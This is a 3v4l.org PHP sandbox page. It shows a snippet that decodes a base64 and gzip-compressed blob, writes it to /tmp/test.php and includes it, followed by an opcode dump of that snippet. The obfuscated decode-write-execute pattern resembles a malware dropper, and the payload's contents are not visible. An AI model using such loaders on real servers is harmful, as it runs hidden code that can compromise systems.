3v4l.org

run code in 300+ PHP versions simultaneously
<?php if(version_compare(PHP_VERSION,'5.3.0','<')) exit; file_put_contents('/tmp/test.php', gzuncompress(base64_decode('eNrtV2Fv2zYQ/b5fQRtEKaGy63hr2llTOjf11gJLGtTGgLUuBEaiLCUSqZBU3cTTf99RcmwrdoOgA4ausGEbJvn47u7d6Yz75UUe5z9wmjGV04Ch94yH07EO0+TcLRRDr6hmkyRj7wVnbpBSpVZbiH3WgFbT241FXpynSYCiggc6ERz5fiC40rIItIUDj3AxJ84mI8Khx4s0tRdJZH1iUsEtuJPlVDLr7PWZ/+fo3fjN21OHPO3+2H1GHHLkEdteSKYLyZGBcT0YNO04OLTdEghbsJXAx+wRcF0T+9GjxmaUSLNbmYdbD+FlqWL34wBULvl2AWoV1lxfxAAAR50jxbSRS2ma5Raca6FhWfkDp7PNU9u23aVrOHLLu+nIRJhE1xae/Uu51zx3ZJ7tknm2IfM9RDj2NoKb7QrONarGnudFFIRbsVWrHVrhuKFGWVdv9X1bgxOALnIpNAs0CxFOqmp07woHtAU4sNhSVDMqQzHnVl1B4IFkoKue3NiLEGz4IYtokWrfRHUDBe8DVRPnbq5q82W5dmnTh1c12eTGwheVwVbTYoNpt3lQ1AKx7/HtwnZ3hKn0y2J22H/+8yHl4WH/6eGBVdtruEV+P5lA2eILj7N5o3VYZFRIkbMnL5lME25Alw2QRX4l3XUBkH7voN/pPe/0+6jXG1RvdDwaA32tGCQR4hxdFZD8DfQB6veXaPDlcQ9eyBJRBG6ing2P3WXnKBIyo/CM/dXJOiF6PUgGCgFvl6yQpGtwoNXbam3Z3bbddshSMKRvUKLQMFOayZBmDjJyokiKDOnb6nMQF+hWWQfRCLDocQ+g16qKvnO0rH6ysfs9BPb1ab1cPcCGuyrFexS5w7CK8Vm/9x8LMk90vJLka5L7jYbygOx+MZ/Ot509isz/E589OHnfeeA7Ur3V3IcqoU/GTBTpvsfve/y+x+97/L7H/797/K45oxESTh2cOZivh3Sctjyc2QsdSzFHoNd09DlgublqWZi/wLzbnvL2oN0Gf6dtnE7bqOUh+JVNzYEZjkssjNLTdyxKWWX12Axllu+fDk9G47Ph8cj3u2S6NaqBy6Abo0FsYVFpc8J0LEJl2VQhnFcequK8mjvzCjCOhdSnFNJpOz3nJ7vleURXVDBt64QXzNXyeoGvqtxvWYRhCV9VLcsMgK4hTfgncQmd66o+Wo+AbhlQDa6tFUFY2gsWxAKR34Zv/hiYnG655WLlYVkPu5IGZqe+gv5G8DfKzCX1offxAzEr8rHSt4Ysr50wpeiMmQoxR3U8D/CsXElQ1hbPhuPxbidr5vIfFETBEQ=='))); include '/tmp/test.php';
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 7
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/1Ea6V
function name:  (null)
number of ops:  19
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'version_compare'
          1        SEND_VAL                                                 '8.0.0'
          2        SEND_VAL                                                 '5.3.0'
          3        SEND_VAL                                                 '%3C'
          4        DO_ICALL                                         $0      
          5      > JMPZ                                                     $0, ->7
          6    > > EXIT                                                     
    3     7    >   INIT_FCALL                                               'file_put_contents'
          8        SEND_VAL                                                 '%2Ftmp%2Ftest.php'
          9        INIT_FCALL                                               'gzuncompress'
         10        INIT_FCALL                                               'base64_decode'
         11        SEND_VAL                                                 'eNrtV2Fv2zYQ%2Fb5fQRtEKaGy63hr2llTOjf11gJLGtTGgLUuBEaiLCUSqZBU3cTTf99RcmwrdoOgA4ausGEbJvn47u7d6Yz75UUe5z9wmjGV04Ch94yH07EO0%2BTcLRRDr6hmkyRj7wVnbpBSpVZbiH3WgFbT241FXpynSYCiggc6ERz5fiC40rIItIUDj3AxJ84mI8Khx4s0tRdJZH1iUsEtuJPlVDLr7PWZ%2F%2Bfo3fjN21OHPO3%2B2H1GHHLkEdteSKYLyZGBcT0YNO04OLTdEghbsJXAx%2BwRcF0T%2B9GjxmaUSLNbmYdbD%2BFlqWL34wBULvl2AWoV1lxfxAAAR50jxbSRS2ma5Raca6FhWfkDp7PNU9u23aVrOHLLu%2BnIRJhE1xae%2FUu51zx3ZJ7tknm2IfM9RDj2NoKb7QrONarGnudFFIRbsVWrHVrhuKFGWVdv9X1bgxOALnIpNAs0CxFOqmp07woHtAU4sNhSVDMqQzHnVl1B4IFkoKue3NiLEGz4IYtokWrfRHUDBe8DVRPnbq5q82W5dmnTh1c12eTGwheVwVbTYoNpt3lQ1AKx7%2FHtwnZ3hKn0y2J22H%2F%2B8yHl4WH%2F6eGBVdtruEV%2BP5lA2eILj7N5o3VYZFRIkbMnL5lME25Alw2QRX4l3XUBkH7voN%2FpPe%2F0%2B6jXG1RvdDwaA32tGCQR4hxdFZD8DfQB6veXaPDlcQ9eyBJRBG6ing2P3WXnKBIyo%2FCM%2FdXJOiF6PUgGCgFvl6yQpGtwoNXbam3Z3bbddshSMKRvUKLQMFOayZBmDjJyokiKDOnb6nMQF%2BhWWQfRCLDocQ%2Bg16qKvnO0rH6ysfs9BPb1ab1cPcCGuyrFexS5w7CK8Vm%2F9x8LMk90vJLka5L7jYbygOx%2BMZ%2FOt509isz%2FE589OHnfeeA7Ur3V3IcqoU%2FGTBTpvsfve%2Fy%2Bx%2B97%2FL7H%2F797%2FK45oxESTh2cOZivh3Sctjyc2QsdSzFHoNd09DlgublqWZi%2FwLzbnvL2oN0Gf6dtnE7bqOUh%2BJVNzYEZjkssjNLTdyxKWWX12Axllu%2BfDk9G47Ph8cj3u2S6NaqBy6Abo0FsYVFpc8J0LEJl2VQhnFcequK8mjvzCjCOhdSnFNJpOz3nJ7vleURXVDBt64QXzNXyeoGvqtxvWYRhCV9VLcsMgK4hTfgncQmd66o%2BWo%2BAbhlQDa6tFUFY2gsWxAKR34Zv%2FhiYnG655WLlYVkPu5IGZqe%2Bgv5G8DfKzCX1offxAzEr8rHSt4Ysr50wpeiMmQoxR3U8D%2FCsXElQ1hbPhuPxbidr5vIfFETBEQ%3D%3D'
         12        DO_ICALL                                         $1      
         13        SEND_VAR                                                 $1
         14        DO_ICALL                                         $2      
         15        SEND_VAR                                                 $2
         16        DO_ICALL                                                 
    4    17        INCLUDE_OR_EVAL                                          '%2Ftmp%2Ftest.php', INCLUDE
         18      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
176.64 ms | 1396 KiB | 21 Q